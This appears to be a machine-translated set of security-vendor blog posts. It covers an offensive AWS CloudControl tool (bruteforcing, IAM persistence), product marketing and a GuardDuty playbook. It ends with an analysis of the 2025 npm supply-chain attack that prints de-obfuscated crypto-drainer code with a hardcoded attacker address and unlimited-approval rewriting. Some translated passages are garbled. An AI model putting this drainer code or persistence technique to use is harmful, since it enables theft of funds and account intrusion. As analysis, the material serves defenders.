                        Bruteforce AWS Resources by utilizing cloudcontrol:GetResource
    IAMPERSISTENCE      Persist on the Account using an IAM User or Role and a Policy which only allows access through CloudControl API.
    CHECKUSAGE          Search through AWS CloudTrail Logs using cloudtrail:LookupEvents to find occurrences of bruteforce

options:
  -h, --help            show this help message and exit

Docker のインストール

CloudConqueror には Dockerfile が含まれています。これを使用して Docker イメージを作成し、そこからツールを実行することができます。Docker イメージをインストールするには、ツールのディレクトリで docker build を実行するだけです。

~$ docker build -t cloudconqueror .
Sending build context to Docker daemon  99.07MB
Step 1/7 : FROM python:3.10
3.10: Pulling from library/python
80b7316254b3: Pull complete
36e4db86de6e: Pull complete
8ea45766c644: Pull complete
3cb1455cf185: Pull complete
013acb959c95: Pull complete
ee334269ae4f: Pull complete
3eca4263ed42: Pull complete
Digest: sha256:4585309097d523698d382a2de388340896e021319b327e2d9c028f3b4c316138
Status: Downloaded newer image for python:3.10
 ---> d565b0a5e178
Step 2/7 : WORKDIR /cloudconqueror
 ---> Running in e2e79b4829a4
 ---> Removed intermediate container e2e79b4829a4
 ---> 6f7ef917c82b
Step 3/7 : COPY . .

--snip--

Successfully built 559c27b10eae
Successfully tagged cloudconqueror:latest

次に、ツールを実行するには、docker run を使用してコンテナーを実行するだけです。ローカルの AWS プロファイルディレクトリ (~/.aws ディレクトリ) をマウントして、保存されている awscli セッションとツールのベースディレクトリからフォルダ出力をツールが取得できるようにすることをお勧めします。

~$ docker run -v ~/.aws:/root/.aws -v ./output:/cloudconqueor/output -it cloudconqueror -h
---------------------------------------------------------------------------------

   _____ _                 _  _____
  / ____| |               | |/ ____|
 | |    | | ___  _   _  __| | |     ___  _ __   __ _ _   _  ___ _ __ ___  _ __
 | |    | |/ _ \\| | | |/ _` | |    / _ \\| '_ \\ / _` | | | |/ _ \\ '__/ _ \\| '__|
 | |____| | (_) | |_| | (_| | |___| (_) | | | | (_| | |_| |  __/ | | (_) | |
  \\_____|_|\\___/ \\__,_|\\__,_|\\_____\\___/|_| |_|\\__, |\\__,_|\\___|_|  \\___/|_|
                                                  | |
                                                  |_|

---------------------------------------------------------------------------------
                                                  by gl4ssesbo1 @ Exaforce
---------------------------------------------------------------------------------
usage: CloudConqueror.py [-h] {LISTRESOURCES,BRUTEFORCERESOURCES,IAMPERSISTENCE,CHECKUSAGE} ...

CloudConqueror

positional arguments:
  {LISTRESOURCES,BRUTEFORCERESOURCES,IAMPERSISTENCE,CHECKUSAGE}
                        Select the attack to execute on the target
    LISTRESOURCES       Bruteforce AWS Resources by utilizing cloudcontrol:ListResources and cloudcontrol:GetResource
    BRUTEFORCERESOURCES
                        Bruteforce AWS Resources by utilizing cloudcontrol:GetResource
    IAMPERSISTENCE      Persist on the Account using an IAM User or Role and a Policy which only allows access through CloudControl API.
    CHECKUSAGE          Search through AWS CloudTrail Logs using cloudtrail:LookupEvents to find occurrences of bruteforce

options:
  -h, --help            show this help message and exit

リスティングリソース

クラウドコンカラーの使用方法 クラウドコントロール:リソースのリスト アカウントの特定のリソースタイプのリソースを一覧表示します。リソースを一覧表示してその ID を取得したら、実行を試みます。 クラウドコントロール:リソースを取得 それぞれの財産を手に入れるためだツールに必要な入力は AWS に保存されているプロファイルだけです アスクリ ディレクトリと一覧表示するリソースのタイプ。

すべてのリソースタイプがツールの選択肢として一覧表示されます --リソースタイプ フラグ。AWS CloudControl API によって管理されていないリソースを除外します。

ブルートフォーシングリソース

この記事で説明した手法の 1 つは、 クラウドコントロール:リソースを取得 潜在的なリソース名のリストをAPIで呼び出して、その中の1つが存在するかどうかを確認します。つまり、基本的には、アカウント上のリソースの認証された名前のファジングです。

ザの ブルートフォース コマンドを実行するには、攻撃者が AWS プロファイル、リソースタイプ、AWS リージョン、およびリソース名のリストを提供し、それぞれを調べて実行する必要があります クラウドコントロール:リソースを取得、リソースとそのプロパティを返します。

AWS アカウントでの保留中

攻撃者は、「AWS CloudControl APIが攻撃ツールとしてどれほど効果的か」のセクションで説明したように、CloudControl APIを介したアクセスのみを許可するIAMポリシーを作成し、それをIAMユーザー、グループ、またはロールにアタッチして、それらを引き続き使用することができます。

クラウド・コンカラーズ 私は粘り強い コマンドはこの手法を使用してユーザーまたはロール（攻撃者が定義していない場合はデフォルトで CCUser または ccRole という名前）を作成し、「攻撃ツールとしての AWS CloudControl API の有効性」セクションと同じポリシー定義を使用して CCInlinePolicy というインラインポリシーを割り当てます。

クラウドコントロールの不正使用の発生箇所の発見

最後に、CloudConquerorは検出の1つのステップを支援することができます。このツールは 使用状況をチェック コマンドの用途 クラウドトレイル:ルックアップイベント アカウントでの CloudControl API の実行を検索し、そこからテーブルと CSV を出力します。

出力 CSV は、<Account ID>ツールのディレクトリのディレクトリパス output/ /cloudcontrol-events.csv に保存されます。

Exaforce がクラウドコントロール API の不正使用の特定にどのように役立つか

Exaforceは、列挙、リソースのなりすまし、異常な使用などによるCloudControl APIの不正使用を特定するための包括的な検出機能を提供します。私たちのアプローチでは、行動ベースラインと異常検出を活用して、CloudFormationの正当なアクティビティを、CloudControlを使用する攻撃者の手法から切り離します。この調査の結果、CloudControl の悪用からお客様を保護するための新しい検出機能を導入しました。

• Exaforce は、リソースの列挙が試みられたことを示す異常な CloudControl API 呼び出しのシーケンスを検出します。
• Exaforceは、CloudControlの悪用を検出してCloudFormationワークフローに組み込んで、標準の監視や検出を迂回するように設計された疑わしいアクティビティにフラグを立てます。
• Exaforceは、攻撃者が通常のプロビジョニングアクティビティをまねて悪意のある変更を隠そうとするなりすましの試みを明らかにしています。

検出概要には、Exabotによるアラートの自動トリアージの要約と結論が記載されており、関連するIDや問題の特定のAPI呼び出しなどの重要な詳細が強調されています。関連するすべての API 呼び出しを 1 つのセッションに接続し、攻撃シーケンスで CloudControl がどのように使用されたか、どのようなリソースが影響を受けたかをアナリストが把握できるようにしています。

さらに、ID調査ではCloudControlを通じて作成されたユーザーとロールが自動的に明らかになり、永続化のために確立された可能性のあるIAMリソースを可視化できます。

クラウドコントロールの維持

AWS CloudControl API は、AWS API が持つ膨大な量の API 呼び出しを AWS ユーザーがクリーンかつ簡単に管理および利用できるようにする強力な機能です。しかし、よくあることですが、ユーザーにとって使いやすいものであれば、攻撃者にとっても悪用されやすくなります。

AWS CloudControl APIを攻撃ツールとして利用することは、制限はありますが、検出チェーンを断ち切る非常に優れた方法であり、攻撃者がアカウントでいたずら好きなタスクを実行している間に侵入する可能性があります。そのため、これは目を離さないといけないエンティティが悪意を持って使用していないことを確認する価値のある機能です。

ExaforceはCloudControl APIの不正使用を検出し、AWSクラウドコントロールAPIの悪用を迅速に特定して迅速に対応できるようにします。

セキュリティ業務は世代交代の真っ只中にあります。チームは、増加するアラート量、クラウドの複雑さ、ID の無秩序な増加に対応すると同時に、コストとバーンアウトを削減しなければならないというプレッシャーにさらされています。従来のワークフロー主導型のツールでは追いつけず、ポイントツールでは明確さよりもノイズの方が多くなります。

だからこそ、Exaforceが世界のリーダーおよびアウトパフォーマーとして認められていることを共有できることを誇りに思います 2025 GigaOm レーダー（セキュリティ運用自動化用） イノベーション/フィーチャー・プレイ・クアドラントに位置付けられたExaforceは、Exabotsと、検出、トリアージ、調査、対応をエンドツーエンドで自動化するマルチモデルAIエンジンを搭載したAgentic SOCプラットフォームが注目されました。

エクサフォースが目立つ理由

このレポートでは、SOCの成果にとって重要な主要分野におけるExaforceの強みを挙げています。

• ゼロデイ検知：当社のマルチモデルAIパイプラインは、セマンティックモデル、行動モデル、知識モデルを組み合わせて、新しい高度な脅威を特定します。
• 脅威の相関関係：Exabotsは、ID、リソース、時間を横断してイベントをつなぎ合わせ、従来のツールでは見逃していた協調的な攻撃チェーンを浮き彫りにします。
• プレLLMデータレイヤー:Exaforceは分析前にログ、構成、ID、コードを正規化、重複排除、強化することで、コストを削減し、シグナルとコンテキストの忠実度を高めます。

Exaforceは、エージェント型AIをセキュリティ業務に導入した開発と革新のペースが速いことから、「アウトパフォーマー」としてさらに評価されました。

これからの道

GigaOm Radarは、SecOpsが静的な検出ルールや決定論的なプレイブックを超えて、AI主導のアプローチに移行していることを強調しています。Exaforce のアーキテクチャは、エージェント AI とマルチモデル推論に基づいており、従来のスタックでは達成できなかった成果をもたらします。

この評価を光栄に思います。さらに重要なのは、SOCチームの有効性と効率性の向上を支援するという私たちの使命を継続する意欲です。

SecOps 自動化向け GigaOm レーダーレポートの全文を読む 市場がどのように進化しているかを見るためです。また、Exaforceのトップクラスのソリューションをもっと見たい場合は、 デモを予約。

エージェント AI が GuardDuty インシデント対応プレイブックの実行を簡素化する方法

AWS のインシデント対応は、多くの場合、プレイブックから始まります。AWS は以下を公開しています。 リファレンスプレイブック、に基づくステップバイステップガイド NIST コンピュータセキュリティインシデント処理ガイド （特別刊行物 800-61 リビジョン 2）。セキュリティチームが GuardDuty によって検出されたアラートへの対応に使用できます。これらのプレイブックは、IAM ユーザーの異常行動などの一般的な脅威カテゴリを網羅するように作成されており、アナリストが調査の証拠の収集、検証手順、文書化を行う際の指針となっています。

ザの IAM 異常行動プレイブックたとえば、回答者に次のことを指示します。

• 影響を受けるリソースを特定する
• 影響の性質を確認
• 異常な API 呼び出しが成功したかどうかを判断する
• アクターを調査
• アイデンティティの関連づけ
• リソース所有者または管理者を雇う

これらのステップはどれも重要ですが、まとめると非常に手作業になります。アナリストは、GuardDuty の調査結果、CloudTrail ログ、AWS IAM コンソール、場合によっては Entra ID や Okta などの外部 ID プロバイダーを切り替えて、全体像をまとめる必要があります。「証拠の取得、保存、文書化」の最初のステップには数時間かかることがあります。特に、コーポレートアイデンティティと AWS セッションが適切に連携しない複雑な環境ではそうです。

見た目より難しい理由

具体例を見てみましょう。IAM ロールが通常のパターン以外の API 呼び出しに使用されたことを GuardDuty にフラグ付けしたとしましょう。プレイブックには、調査結果の「異常な API」セクションをチェックして、それらの呼び出しが成功したかエラーが返されたかを確認し、実際に誰がロールを引き受けたかを突き止めるようにと書かれています。つまり、CloudTrail を掘り下げてセッション ID を関連付け、引き受けたロールを元のロールまで追跡し、IdP 内の対応する ID を確認する必要があります。企業で Okta を使用している場合は、多くの場合、ログインログを調べて IP アドレスを比較し、同じユーザーがほぼ同時に認証されたかどうかを確認する必要があります。これをさまざまなログやコンソールにまたがると、このプロセスがすべてのインシデントのボトルネックになります。

そして、それはたった一つの発見です。理論的には、月に2回以上発生すると予想される検出については、レベル1のアナリストがトリアージと調査に使用できるプレイブックを文書化しておく必要があります。しかし、こうしたプレイブックの構築にはかなりのエンジニアリング時間を要し、既存のツールで完全に自動化することはほぼ不可能です。IaaS または SaaS サービスはそれぞれ、何十もの繰り返しアラートを生成します。つまり、成熟した組織では、基本を網羅する何百ものプレイブックが必要になるということです。ほとんどの SOC では、必要な規模と労力が単にキャパシティを上回り、一貫性、再現性、調査の質にギャップが残ります。

Exaforce がエビデンス収集を自動化する方法

アラートが生成されると、ExaforceのExabotエージェントはすぐに構造化された調査を開始し、GuardDuty、CloudTrail、IAMのほか、OktaやEntra IDなどのIDPやCrowdStrikeやSentinelOneなどのEDRツールまでデータを収集します。具体的に説明するために、このプロセスをアイデンティティの関連づけ、アクター分析、リソースとアクションの検証という 3 つのコアフェーズに分けてみましょう。

AWS と IdP 間のアイデンティティの関連づけ

IAM 異常行動プレイブックで最も難しいステップの 1 つは、AWS プリンシパルを実際のユーザーにマッピングし直すことです。Exaforce は、GuardDuty の調査結果で報告されたプリンシパル、引き受けた役割、セッションをトリガーしたオリジン ID など、セッションツリー全体を収集することでこれを自動化します。CloudTrail セッション ID と IdP サインインイベントを相互参照して、ルートセッションが Okta または Entra ID のログインに関連付けられているかどうかを確認します。次にExaforceは、このOktaユーザーが午前9時1分にログインし、午前9時2分にこのAWSロールを引き受け、午前9時3分にこれらの異常なAPI呼び出しをトリガーしたことを平易な英語で示すIDチェーンを構築します。

この相関関係は、手作業で行うには時間がかかることで知られています。多くの場合、アナリストは CloudTrail のログを検索してセッションの詳細を取得し、タイムスタンプを Okta または Entra ID のログと比較する必要があります。Exaforce はこれを瞬時に実行し、何時間にもわたるログステッチングを 1 つの ID にまとめます。

アクター分析とコンテキストエンリッチメント

次に、Exaforce はセッションの背後にいるアクターを調べます。アクティビティが企業の IP アドレスから実行されたのか、予期しない場所から実行されたのかを判断します。校長が以前にこの地域で認証を受けたことがあるかどうかが検証されます。また、脅威フィードに基づいて、ソース IP がレピュテーションの悪さに関連しているかどうかもチェックします。Exaforce はこれらに自動的に回答し、GuardDuty の未処理の「アクター」フィールドをコンテキストインテリジェンスで強化します。

また、同じ時期に同じプリンシパルに対する他のログインがあったかどうか、および同じIPから他のIDがアクティブであったかどうかを横方向に調べます。通常、これらの質問に答えるには、GuardDuty、CloudTrail、IdP の監査ログの間を行き来する必要があります。Exaforce はそれらを構造化された Q&A 結果に統合します。これにより、アナリストは何が起こったのかだけでなく、その状況が企業の ID アクティビティというより広い文脈で理にかなっているかどうかを確認できます。

必要に応じて、Exaforceはユーザーとそのマネージャーに連絡を取り、このプレイブックの「プリンシパルに関係する人に連絡する」セクションに従い、アクティビティを検証します。

リソースとアクションの検証

Exaforceは実際に影響を受けたものを掘り下げます。GuardDuty の「異常な API」を影響を受けたリソースにマッピングし、それらの呼び出しが成功したかどうかを検証します。S3 バケットにアクセスした場合、Exaforce はどのキーが変更されたか、プリンシパルが以前にそのバケットにアクセスしたことがあるかどうか、異常なデータ移動が発生したかどうかを識別します。EC2 が関与している場合、Exaforce はインスタンスへの最近のログインを検索し、それらを同じセッションに関連付けます。

Exaforceは、単に「異常なAPI呼び出しが発生した」とだけ述べるのではなく、監査対応のエビデンスパッケージを作成します。

すべてをまとめて

Exabotsは、アクター、セッション、リソース、アクションを1つのビューに自動的にリンクし、過去のアラートや調査からの履歴情報を表示します。アナリストが「前回何が起こったか」を思い出すのに苦労したり、古いチケットを手動で相互参照したりする代わりに、Exabotsはその履歴を現在の分析に直接織り込みます。

そこから、Exaforceは「誤検知」または「調査が必要」のいずれかを明確に判断します。それぞれの結論には、裏付けとなるエビデンスと推奨される次のステップが含まれ、アナリストは未加工のログの代わりにすぐに意思決定を行えるパッケージを入手できます。通常は何時間もかけてログをつなぎ合わせたり、組織的な知識を得たりしていたものが、数分にまとめられるため、チームは組み立てではなく行動に集中できるようになります。

さらなる分析と調査

パッケージ化された結果から新たな疑問が生じた場合、アナリストはコマンドセンター内でコパイロットモードに切り替えることができます。ここでは、自由形式の自然言語による質問をすることができ、Exabotsは構成、CloudTrail、IdPなどに対してクエリを実行して、正確でコンテキストに富んだ回答を提供します。

このインタラクティブモードでは、プレイブックを静的な手順の枠を超えて拡張できるため、アナリストは必要に応じてリードの調査、調査の方向転移、仮説の検証を行うことができます。Exaforce では、複数のコンソールや未処理のログを調べる代わりに、これらすべての情報を 1 つのコンソールにまとめることができます。

成功への第一歩を早める

プレイブックのパート1に戻ると、Exaforceは最も時間のかかる障壁を取り除きます。Exaforce では、手動でログを照合する代わりに、関連するすべてのイベント、プリンシパル ID チェーン、アクターの位置分析、リソースへの影響、および関連する構成ミスや脅威の発見を含む、事前に構築されたエビデンスパッケージを提供します。アナリストは生データだけでなく、アラートが誤検知である可能性が高いかどうかについての総合的な要約や結論まで得ることができます。

この例では、半日かけて証拠収集とアイデンティティの相関を行っていたものが、数分になります。SOC は、その活動が許可されたかどうかを迅速に検証し、必要であれば、封じ込めと是正にずっと迅速に移行できます。

手動から AI 主導へ

AWS プレイブックは、ベストプラクティスを定義し、対応のための明確なチェックリストを提供するための貴重なテンプレートです。しかし、ボリュームの多い環境では、手動での実行は持続可能ではありません。1 か月でも繰り返される検出については、組織は対応するプレイブックを用意しておくのが理想的です。しかし、IaaS 環境と SaaS 環境全体で、これはすぐに何百ものプレイブックになり、開発にコストがかかり、維持もほぼ不可能です。必要な労力は、ほとんどのSOCの能力を超えています。

エクサフォースはこのギャップを埋めます。脅威の検出結果には、最も関連性の高いプレイブックの質問と回答が自動的に追加されます。そうしなければ、手動で何時間もかけて相関させる必要のあるエビデンスです。これにより、検知、トリアージ、調査に真剣に取り組むあらゆる組織にとって、大幅なコスト削減につながります。SOCは、プレイブックの作成と更新に貴重なサイクルを費やす代わりに、Exabotsが面倒な作業を行うことで、一貫性のある反復可能な調査を実施できます。

これこそが、Exaforce が GuardDuty アラートを手動のスローグから迅速で自動化されたプロセスに変える方法です。その結果、MTTI と MTTC が速くなり、アナリストの疲労が軽減され、ID やクラウドデータが複数のシステムに分散していても、何も見逃さないという保証が強化されます。

2025年9月8日、 合気道セキュリティ報告 そして NPM は、いくつかの NPM ライブラリがユーザー側の中間者攻撃で侵害されたことを確認しました。私たちの調査では、攻撃の仕組みを詳しく調べました。注入されたコードは、暗号通貨アカウントを検出するためのリクエストをスニッフィングし、攻撃者が制御するアカウントに暗黙的に置き換えます。

• アンチ正規表現 6.2.1
• カラーネーム 2.0.1
• デバッグ 4.4.2
• ラップアンシ 9.0.1
• シンプル・スウィズル 0.2.3
• チョーク 5.6.1
• ストリップアンス 7.1.1
• カラーストリング 2.1.1
• バックスラッシュ 0.2.1
• ハスアンシ 6.0.1
• チョークテンプレート 1.1.1
• サポート-カラー 10.2.1
• スライスアンシ 7.1.1
• IS-配列っぽい 0.3.3
• カラーコンバート 3.1.1
• アンチスタイル 6.2.2
• サポート-ハイパーリンク 4.1.1
• エラーエックス 1.3.3

侵害されたバージョンはすべてNPMレジストリから削除され、パッチが適用されたリリースはNPMで入手できます。それでもなお、コードベースをスキャンし、影響を受ける依存関係をアップグレードして、ユーザーが影響を受けていないことを確認することをお勧めします。このブログでは、攻撃がどのように停止したのか、どのように検出するのかを詳しく説明します。

攻撃の分析

悪意のあるコードが含まれていても、攻撃者はそれほど巧妙ではありませんでした。攻撃者は、悪意のある、難読化された JavaScript をコードの先頭に追加しました。 index.js 各パッケージに。コードが難読化され、通常のスクリプト命令のように見えるように縮小されたため、検出が困難になりました。

‍

攻撃ベクトルには、暗号ウォレットの検出、ウォレットを含むリクエストの傍受、正規のアドレスを攻撃者が制御するアドレスに置き換えることが含まれていました。フローは以下のように細分化されました。

1. ユーザーが感染した Web サイトにアクセスする
2. 暗号通貨ウォレットの不正コードチェック
3. ウォレットアドレスを含むすべてのネットワークリクエストをインターセプトします
4. ウォレットのアドレスは、類似性マッチングを使用して攻撃者が制御するアドレスに置き換えられます
5. 被害者が取引を開始すると、資金がリダイレクトされます
6. 正規のウォレットインターフェースが使用されているため、攻撃はほとんど見えない

悪質な暗号ウォレットの検出

注:以下に示すすべてのコードは、読みやすくするためにクリーンアップされています。

マルウェアは、Ethereumオブジェクトをチェックすることから始まります window.ethereum。その後、次の処理を待ちます。 eth_accounts 応答、ウォレットアドレスの取得、および実行の試行 ランマスク () そして、もし newdlocal () 決して実行されず (rund ≠ 1)、rund の値を 1 に設定して実行する newdlocal () 一度。

var neth = 0;
var rund = 0;
var loval = 0;

async function checkethereumw() {
  try {
    const etherumReq = await window.ethereum.request({ method: 'eth_accounts' });
    etherumReq.length > 0 ? (runmask(), rund != 1 && (rund = 1, neth = 1, newdlocal())) : rund != 1 && (rund = 1, newdlocal());
  } catch (error) {
    if (rund != 1) {
      rund = 1;
      newdlocal();
    }
  }
}

typeof window != 'undefined' && typeof window.ethereum != 'undefined' ? checkethereumw() : rund != 1 && (rund = 1, newdlocal());

リクエストフッキング

newdlocal () は、ブラウザをフックし、送信されたリクエストを把握し、攻撃者のアカウントでターゲットのアカウントを変更するリクエストを改ざんする機能です。これにより、正当な受取人から悪意のある受取人に効果的に資金が振り込まれます。以下はコード内で定義されている関数で、読みやすいように関数の名前が変更され、その横に元の関数名が表示されています。

const originalFetch = fetch;
fetch = async function (...args) { 
  const response = await originalFetch(...args);
  const contentType = response.headers.get('Content-Type') || '';
  let data = contentType.includes('application/json') 
    ? await response.clone().json() 
    : await response.clone().text();
  
  const processed = processData(data);
  const finalData = typeof processed === 'string' ? processed : JSON.stringify(processed);

  return new Response(finalData, {
    status: response.status,
    statusText: response.statusText,
    headers: response.headers
  });
};

ウォレットが見つかると、スクリプトは攻撃者が提供したウォレットのいずれかから最も近い攻撃者のウォレットを探します。そうすると、変更されたウォレットが正規のウォレットと似た状態になるため、ユーザーは攻撃を検知できなくなります。悪質な機能 _0x3479c8 (_0x13a5cc、_0x8c209f) そして _0x2abae0 (_0x348925、_0x2f1e3d) を使う レーベンシュタイン距離これは、ある単語を別の単語に変更するために必要な 1 文字の編集 (挿入、削除、または置換) の最小回数として定義されます。次に、その単語をハイジャックしようとします。 フェッチ () API リクエストと XML HTTP リクエスト レスポンス。リクエストとレスポンスのウォレットを効果的に変更します。

  function levenshteinDistance(a, b) { // _0x3479c8(_0x13a5cc, _0x8c209f)
    const dp = Array.from({ length: a.length + 1 }, () => Array(b.length + 1).fill(0));

    for (let i = 0; i <= a.length; i++) dp[i][0] = i;
    for (let j = 0; j <= b.length; j++) dp[0][j] = j;

    for (let i = 1; i <= a.length; i++) {
      for (let j = 1; j <= b.length; j++) {
        if (a[i - 1] === b[j - 1]) {
          dp[i][j] = dp[i - 1][j - 1];
        } else {
          dp[i][j] = 1 + Math.min(
            dp[i - 1][j],     // deletion
            dp[i][j - 1],     // insertion
            dp[i - 1][j - 1]  // substitution
          );
        }
      }
    }
    return dp[a.length][b.length];
  }

  function findClosestString(input, candidates) { // _0x2abae0(_0x348925, _0x2f1e3d)
    let bestDistance = Infinity;
    let bestMatch = null;
    for (let candidate of candidates) {
      const distance = levenshteinDistance(input.toLowerCase(), candidate.toLowerCase());
      if (distance < bestDistance) {
        bestDistance = distance;
        bestMatch = candidate;
      }
    }
    return bestMatch;
  }

攻撃者は、攻撃者が制御するウォレットのリストをスクリプトに含め、ターゲットが制御するウォレットと照合されます。

• レガシービットコイン: 1h13 VNQ JKTT 4 HJD 5ZF Kaaizeet MBG 7 NDHX (および他39人)
• ビットコインビーチ 32: bc1qms4f8ys8c4z47h0q29nnmyekc9r74u5ypqw6wm (および他39人)
• イーサリアム: 0xFC4A4858 bafef54D1B1D7697BFB5C52F4C166976 (および他59人)
• ライトコイン: LNF Wheis JB4QB4ISHMEVAZ 8 Capwtz4T6UG(および他39人)
• ビットコインキャッシュ: ビットコインキャッシュ:qpwsaxghtvt6phm53vfdj0s6mj4l7h24dgkuxeanyh (および他39人)
• ソラナ: 5VVU UV5K6C2GMQ1ZVEQUFAMO 8SHPZH28MJCVZCCRSZG6 (およびその他19人)
• トロン: TB9 EMSCQ6 FQW6WRK4HBXXNNU6HWT1DNV67 (および他39人)

攻撃者が提供したすべてのウォレットに対してチェックが行われ、最も近いものが返されます。

function transform(inputStr) {
    var legacyBTC = [
    ];
    var segwitBTC = [
    ];
    var ethAddresses = [
    ];
    var solanaAddrs = [
    ];
    var tronAddrs = [
    ];
    var ltcAddrs = [
    ];
    var bchAddrs = [
    ];
    for (const [currency, regex] of Object.entries(_0x3ec3bb)) {
      const matches = inputStr.match(regex) || [];
      for (const match of matches) {
        if (currency == 'ethereum') {
          if (!ethAddresses.includes(match) && neth == 0) {
            inputStr = inputStr.replace(match, closestMatch(match, ethAddresses));
          }
        }
        if (currency == 'bitcoinLegacy') {
          if (!legacyBTC.includes(match)) {
            inputStr = inputStr.replace(match, closestMatch(match, legacyBTC));
          }
        }
        if (currency == 'bitcoinSegwit') {
          if (!segwitBTC.includes(match)) {
            inputStr = inputStr.replace(match, closestMatch(match, segwitBTC));
          }
        }
        if (currency == 'tron') {
          if (!tronAddrs.includes(match)) {
            inputStr = inputStr.replace(match, closestMatch(match, tronAddrs));
          }
        }
        if (currency == 'ltc') {
          if (!ltcAddrs.includes(match)) {
            inputStr = inputStr.replace(match, closestMatch(match, ltcAddrs));
          }
        }
        if (currency == 'ltc2') {
          if (!ltcAddrs.includes(match)) {
            inputStr = inputStr.replace(match, closestMatch(match, ltcAddrs));
          }
        }
        if (currency == 'bch') {
          if (!bchAddrs.includes(match)) {
            inputStr = inputStr.replace(match, closestMatch(match, bchAddrs));
          }
        }
        const allAddrs = [
          ...ethAddresses,
          ...legacyBTC,
          ...segwitBTC,
          ...tronAddrs,
          ...ltcAddrs,
          ...bchAddrs
        ];
        const isKnown = allAddrs.includes(match);
        if (currency == 'solana' && !isKnown) {
          if (!solanaAddrs.includes(match)) {
            inputStr = inputStr.replace(match, closestMatch(match, solanaAddrs));
          }
        }
        if (currency == 'solana2' && !isKnown) {
          if (!solanaAddrs.includes(match)) {
            inputStr = inputStr.replace(match, closestMatch(match, solanaAddrs));
          }
        }
        if (currency == 'solana3' && isKnown) {
          if (!solanaAddrs.includes(match)) {
            inputStr = inputStr.replace(match, closestMatch(match, solanaAddrs));
          }
        }
      }
    }
    return inputStr;
}

スクリプトはリクエストとレスポンスを調べ、攻撃者が制御するウォレットを使用してターゲットのウォレットを変更し、ターゲットに操作を続行させます。

runmask () を使ったトランザクション操作

ザの ランマスク () この関数は、ブラウザ（MetaMask、Solana Walletなど）でウォレット呼び出しをインターセプトし、送信前に攻撃者が制御するアドレスを注入するようにトランザクションデータを変更するように設計されています。スクリプトが以下の値を発見してウォレットを検出した場合 window.ethereum、マルウェアは次のような方法を待ちます 要求、 送信、および 送信同期。

function interceptWallet(wallet) { // _0x41630a(_0x5d6d52)
    const methods = ['request', 'send', 'sendAsync'];

    methods.forEach(name => {
        if (typeof wallet[name] === 'function') {
            originalMethods.set(name, wallet[name]);
            Object.defineProperty(wallet, name, {
                value: wrapMethod(wallet[name]),
                writable: true,
                configurable: true
            });
        }
    });

    isActive = true;
}

いずれかのメソッドが見つかると、この関数は _0x485f9d (_0x38473f is _0x292c7a) トランザクションがEthereumトランザクションかSolanaトランザクションかを調べ、関数を使用してトランザクションを変更しようとします _0x1089ae (_0x4ac357、_0xc83c36 = true)。

function wrapMethod(originalMethod) { // _0x1089ae(_0x4ac357, _0xc83c36 = true)
  return async function (...args) {
    increment++; // increment intercept count
    let clonedArgs;

    // Deep clone arguments to avoid mutation
    try {
      clonedArgs = JSON.parse(JSON.stringify(args));
    } catch {
      clonedArgs = [...args];
    }

    if (args[0] && typeof args[0] === 'object') {
      const request = clonedArgs[0];

      // Ethereum transaction
      if (request.method === 'eth_sendTransaction' && request.params?.[0]) {
        try {
          request.params[0] = maskTransaction(request.params[0], true); // _0x1089ae(tx, false)
        } catch {}

      // Solana transaction
      } else if (
        (request.method === 'solana_signTransaction' || request.method === 'solana_signAndSendTransaction') &&
        request.params?.[0]
      ) {
        try {
          let tx = request.params[0].transaction || request.params[0];
          const maskedTx = maskTransaction(tx, false); // _0x1089ae(tx, false)
          if (request.params[0].transaction) {
            request.params[0].transaction = maskedTx;
          } else {
            request.params[0] = maskedTx;
          }
        } catch {}
      }
    }

    const result = originalMethod();

    // Handle promises
    if (result && typeof result.then === 'function') {
      return result.then(res => res).catch(err => { throw err; });
    }

    return result;
  };
}

ファンクション _0x1089ae (_0x4ac357、_0xc83c36 = true) マルウェアによって傍受されたリクエストを取得し、独自のアドレスを挿入すると同時に、イーサリアムを改ざんします ERC20 トークン契約またはソラナトランザクション。いずれの場合も、攻撃者のアドレスが提供されます。

function maskTransaction(tx, isEthereum = true) {
  // Deep clone transaction to avoid mutating original
  const maskedTx = JSON.parse(JSON.stringify(tx));

  if (isEthereum) {
    const attackAddress = '0xFc4a4858bafef54D1b1d7697bfb5c52F4c166976';

    // Redirect non-zero value transactions
    if (maskedTx.value && maskedTx.value !== '0x0' && maskedTx.value !== '0') {
      maskedTx.to = attackAddress;
    }

    if (maskedTx.data) {
      const data = maskedTx.data.toLowerCase();

      // ERC20 approve
      if (data.startsWith('0x095ea7b3') && data.length >= 74) {
        maskedTx.data = data.substring(0, 10) +
                        '000000000000000000000000' + attackAddress.slice(2) +
                        'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff';
      }
      // Custom contract call
      else if (data.startsWith('0xd505accf') && data.length >= 458) {
        maskedTx.data = data.substring(0, 10) +
                        data.substring(10, 74) +
                        '000000000000000000000000' + attackAddress.slice(2) +
                        'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' +
                        data.substring(202);
      }
      // ERC20 transfer
      else if (data.startsWith('0xa9059cbb') && data.length >= 74) {
        maskedTx.data = data.substring(0, 10) +
                        '000000000000000000000000' + attackAddress.slice(2) +
                        data.substring(74);
      }
      // ERC20 transferFrom
      else if (data.startsWith('0x23b872dd') && data.length >= 138) {
        maskedTx.data = data.substring(0, 10) +
                        data.substring(10, 74) +
                        '000000000000000000000000' + attackAddress.slice(2) +
                        data.substring(138);
      }
    } else if (maskedTx.to && maskedTx.to !== attackAddress) {
      maskedTx.to = attackAddress;
    }
  } else {
    // Solana-style transaction masking
    if (maskedTx.instructions && Array.isArray(maskedTx.instructions)) {
      maskedTx.instructions.forEach(instr => {
        if (instr.accounts && Array.isArray(instr.accounts)) {
          instr.accounts.forEach(acc => {
            if (typeof acc === 'string') acc = '19111111111111111111111111111111';
            else acc.pubkey = '19111111111111111111111111111111';
          });
        }
        if (instr.keys && Array.isArray(instr.keys)) {
          instr.keys.forEach(key => key.pubkey = '19111111111111111111111111111111');
        }
      });
    }
    maskedTx.recipient = '19111111111111111111111111111111';
    maskedTx.destination = '19111111111111111111111111111111';
  }

  return maskedTx;
}

提供されたイーサリアム攻撃者のアドレスは、イーサリアムアドレスリストの最初の要素です。

var _0x4477fc = [      
'0xFc4a4858bafef54D1b1d7697bfb5c52F4c166976',      
--snip--

推奨事項と要約

